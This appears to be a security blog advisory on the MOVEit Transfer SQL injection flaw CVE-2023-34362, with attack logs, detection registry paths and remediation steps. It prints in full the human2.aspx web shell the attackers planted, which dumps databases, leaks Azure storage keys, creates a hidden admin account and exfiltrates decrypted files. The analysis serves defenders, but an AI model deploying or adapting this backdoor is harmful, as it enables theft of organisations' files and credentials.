MOVEit Transfer SQL Injection Vulnerability CVE-2023-34362

shape
shape
shape
shape
shape
shape
shape
shape

On 31, May, 2023 organization name as Progress found a critical vulnerability in Moveit Transfer environment which provide the unauthorized access to attacker.

MOVEit Transfer is designed to securely transfer files within or between organizations. MOVEit offers a centralized platform for managing file transfers, providing security, compliance, and automation features.

Researchers noticed that human2.aspx file is uploaded as a backdoor during the attack.

human2.aspx file

<%@ Page Language=”C#” %>
<%@ Import Namespace=”MOVEit.DMZ.ClassLib” %>
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Infrastructure.Data” %>
<%@ Import Namespace=”MOVEit.DMZ.Application.Files” %>
<%@ Import Namespace=”MOVEit.DMZ.Cryptography.Contracts” %>
<%@ Import Namespace=”MOVEit.DMZ.Core.Cryptography” %>
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.FileSystem” %>
<%@ Import Namespace=”MOVEit.DMZ.Core” %>
<%@ Import Namespace=”MOVEit.DMZ.Core.Data” %>
<%@ Import Namespace=”MOVEit.DMZ.Application.Users” %>
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Users.Enum” %>
 
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Users” %>
<%@ Import Namespace=”System.IO” %>
<%@ Import Namespace=”System.IO.Compression” %>
 
<script runat=”server”> 
private Object connectDB() {
    var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
    bool flag = false;
    string text = null;
    flag = MySQLConnect.Connect();
    if (!flag) {
        return text;
    }
    return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
    const string chars = “abcdefghijklmnopqrstuvwxyz0123456789”;
    return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
    var pass = Request.Headers[“X-siLock-Comment”];
    if (!String.Equals(pass, “REDACTEDREDACTEDREDACTEDREDACTED”)) {
        Response.StatusCode = 404;
        return;
    }
    Response.AppendHeader(“X-siLock-Comment”, “comment”);
    var instid = Request.Headers[“X-siLock-Step1”];
    string x = null;
    DbConn MySQLConnect = null;
    var r = connectDB();
    if (r is String) {
        Response.Write(“OpenConn: Could not connect to DB: ” + r);
        return;
    }
    try {
        MySQLConnect = (DbConn) r;
        if (int.Parse(instid) == -1) {
            string azureAccout = SystemSettings.AzureBlobStorageAccount;
            string azureBlobKey = SystemSettings.AzureBlobKey;
            string azureBlobContainer = SystemSettings.AzureBlobContainer;
            Response.AppendHeader(“AzureBlobStorageAccount”, azureAccout);
            Response.AppendHeader(“AzureBlobKey”, azureBlobKey);
            Response.AppendHeader(“AzureBlobContainer”, azureBlobContainer);
            var query = “select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID”;
            string reStr = “ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n”;
            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format(“{0},{1},{2},{3},{4},{5},{6},{7}\n”, set[“ID”].Value, set[“InstID”].Value, set[“FolderID”].Value, set[“FileSize”].Value, set[“Name”].Value, set[“uploader”].Value, set[“FolderPath”].Value, set[“fname”].Value);
                    set.MoveNext();
                }
            }
            reStr += “———————————-\nFolderID,InstID,FolderName,Owner,FolderPath\n”;
            String query1 = “select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username”;
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format(“{0},{1},{2},{3},{4}\n”, set[“id”].Value, set[“instID”].Value, set[“name”].Value, set[“owner”].Value, set[“FolderPath”].Value);
                    set.MoveNext();
                }
            }
            reStr += “———————————-\nInstID,InstName,ShortName\n”;
            query1 = “select id, name, shortname from institutions”;
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format(“{0},{1},{2}\n”, set[“ID”].Value, set[“name”].Value, set[“ShortName”].Value);
                    set.MoveNext();
                }
            }
            using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                    writer.Write(reStr);
                }
            }
        } else if (int.Parse(instid) == -2) {
            var query = String.Format(“Delete FROM users WHERE RealName=’Health Check Service'”);
            new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
        } else {
            var fileid = Request.Headers[“X-siLock-Step3”];
            var folderid = Request.Headers[“X-siLock-Step2”];
            if (fileid == null && folderid == null) {
                SessionIDManager Manager = new SessionIDManager();
                string NewID = Manager.CreateSessionID(Context);
                bool redirected = false;
                bool IsAdded = false;
                Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
                string username = “”;
                var query = String.Format(“SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status=’active’ and Deleted=0”, int.Parse(instid));
                var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
                var query1 = “”;
                if (!set.EOF) {
                    username = (String) set[“Username”].Value;
                } else {
                    username = RandomString(16);
                    query1 += String.Format(“INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values (‘{0}’,'{1}’,{2},{3},'{4}’, CURRENT_TIMESTAMP,’Automation’,(select id from folders where instID=0 and FolderPath=’/’), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);”, username, “Health Check Service”, int.Parse(instid), 30, “Health Check Service”, “Automation”, “Services”);
                }
                query1 += String.Format(“insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES (‘{0}’,'{1}’,CURRENT_TIMESTAMP, 9999, ‘127.0.0.1’)”, NewID, username);
                new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            } else {
                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
                SILGlobals siGlobs = new SILGlobals();
                siGlobs.FileSystemFactory.Create();
                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
                Response.ContentType = “application/octet-stream”;
                Response.AppendHeader(“Content-Disposition”, String.Format(“attachment; filename={0}”, fileid));
                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                    st.CopyTo(gzipStream);
                }
            }
        }
    } catch (Exception) {
        Response.StatusCode = 404;
        return;
    } finally {
        MySQLConnect.Disconnect();
    }
    return;
}
</script>

Analysis of human2.aspx file

Now page_load function checks for X-silock-comment(here at any header X-silock-username,password,Transaction is not properly sanitizing  the sql injection query). If the value does not match a specific string (REDACTEDREDACTEDREDACTEDREDACTED), it sets the response status code to 404 and returns.

Now here the script checks the value of X-siLock-step-1 header if the value is set to -1 then it will execute the sql query and retrieve the database.

Query to retrieve file, folder and instituion name.

If header x-siLock-step1 value is set to -2 then it delete the user from the database.

Server logs of Attack

  1. POST /guestaccess.aspx
  2. POST /api/v1/token
  3. GET /api/v1/folders
  4. POST /api/v1/folders/{id}/files?uploadType=resumable
  5. PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
  • Provide the request for guestaccess to server and get session and extract CSRF token.
  • Provide the token to api for further enumeration.
  • Provide the GET request to enumerate folders
  • Upload the malicious file using POST and PUT.

How to Identify?

Helps to find root dir:

HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->WebBaseDir

Find your logs:

HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->LogsBaseDir

To find out how machine is configured with SQL Server:

HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock\SQLServer

Remediation:

Update MOVEit Transfer to one of these patched versions:

Or you are not able to update:

Disable HTTP(s) traffic to MOVEit Transfer by adding firewall deny rules to ports 80 and 443. Note that this will essentially take your MOVEit Transfer application out of service.